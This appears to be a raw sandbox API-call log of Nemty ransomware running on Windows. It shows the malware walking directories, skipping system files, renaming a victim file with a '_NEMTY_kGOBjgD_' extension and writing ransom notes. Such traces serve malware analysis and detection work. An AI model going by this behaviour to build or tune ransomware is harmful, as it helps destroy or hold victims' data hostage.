[0074.232] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.242] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.242] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.251] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.251] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.251] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.251] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.261] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.261] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.261] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.261] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.272] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.272] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.272] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.272] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.281] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.282] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.282] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.282] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.287] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.288] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.288] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.288] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.294] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.294] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.294] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.294] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0074.294] CloseHandle (hObject=0xffffffff) returned 0 [0074.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0074.294] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0074.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0074.294] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0074.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0074.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0074.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0074.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x63401b8 [0074.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0074.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0074.294] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png._nemty_kgobjgd_")) returned 0 [0074.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0074.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0074.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0074.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0074.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0074.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0074.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0074.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0074.295] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddf8b7b0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xddf8b7b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xddf8b7b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0074.295] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0074.295] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0074.295] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0074.295] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0074.295] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0074.295] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0074.295] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0074.295] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0074.295] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0074.295] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0074.295] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0074.295] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0074.295] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0074.295] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0074.295] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0074.295] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0074.295] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0074.295] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0074.295] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0074.295] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0074.295] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0074.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0074.295] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0074.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0074.295] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0074.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0074.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0074.295] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0074.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0074.295] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0074.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0074.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0074.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0074.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0074.296] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0074.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0074.296] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0074.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0074.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0074.296] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0074.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0074.296] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0074.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0074.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0074.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0074.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0074.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0074.296] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddf8b7b0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xddf8b7b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xddf8b7b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0074.296] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0074.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0074.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0074.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943a0 | out: hHeap=0x4f90000) returned 1 [0074.296] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Pets", cAlternateFileName="")) returned 1 [0074.296] lstrcmpiW (lpString1="Pets", lpString2=".") returned 1 [0074.296] lstrcmpiW (lpString1="Pets", lpString2="..") returned 1 [0074.296] lstrcmpiW (lpString1="Pets", lpString2="...") returned 1 [0074.296] lstrcmpiW (lpString1="Pets", lpString2="windows") returned -1 [0074.296] lstrcmpiW (lpString1="Pets", lpString2="$RECYCLE.BIN") returned 1 [0074.296] lstrcmpiW (lpString1="Pets", lpString2="rsa") returned -1 [0074.296] lstrcmpiW (lpString1="Pets", lpString2="NTDETECT.COM") returned 1 [0074.297] lstrcmpiW (lpString1="Pets", lpString2="ntldr") returned 1 [0074.297] lstrcmpiW (lpString1="Pets", lpString2="MSDOS.SYS") returned 1 [0074.297] lstrcmpiW (lpString1="Pets", lpString2="IO.SYS") returned 1 [0074.297] lstrcmpiW (lpString1="Pets", lpString2="boot.ini") returned 1 [0074.297] lstrcmpiW (lpString1="Pets", lpString2="boot.ini") returned 1 [0074.297] lstrcmpiW (lpString1="Pets", lpString2="AUTOEXEC.BAT") returned 1 [0074.297] lstrcmpiW (lpString1="Pets", lpString2="ntuser.dat") returned 1 [0074.297] lstrcmpiW (lpString1="Pets", lpString2="desktop.ini") returned 1 [0074.297] lstrcmpiW (lpString1="Pets", lpString2="CONFIG.SYS") returned 1 [0074.297] lstrcmpiW (lpString1="Pets", lpString2="RECYCLER") returned -1 [0074.297] lstrcmpiW (lpString1="Pets", lpString2="BOOTSECT.BAK") returned 1 [0074.297] lstrcmpiW (lpString1="Pets", lpString2="bootmgr") returned 1 [0074.297] lstrcmpiW (lpString1="Pets", lpString2="programdata") returned -1 [0074.297] lstrcmpiW (lpString1="Pets", lpString2="appdata") returned 1 [0074.297] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0074.297] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets", cchWideChar=4, lpMultiByteStr=0x653ef10, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets", lpUsedDefaultChar=0x0) returned 4 [0074.297] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0074.297] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets", cchWideChar=4, lpMultiByteStr=0x653ef10, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets", lpUsedDefaultChar=0x0) returned 4 [0074.297] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f943a0 [0074.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942f0 | out: hHeap=0x4f90000) returned 1 [0074.297] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941c0 [0074.297] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0074.297] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0074.297] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0074.297] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0074.297] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0074.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0074.297] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0074.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0074.297] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f94238 [0074.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0074.297] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0074.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94238 | out: hHeap=0x4f90000) returned 1 [0074.319] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.319] WriteFile (in: hFile=0x3cc, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0074.320] CloseHandle (hObject=0x3cc) returned 1 [0074.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0074.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0074.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941c0 [0074.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94238 [0074.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f942b0 [0074.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0074.321] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0074.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0074.321] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0074.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0074.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0074.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0074.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0074.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x6340048 [0074.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0074.321] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0074.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0074.322] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.322] WriteFile (in: hFile=0x3cc, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0074.323] CloseHandle (hObject=0x3cc) returned 1 [0074.323] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: 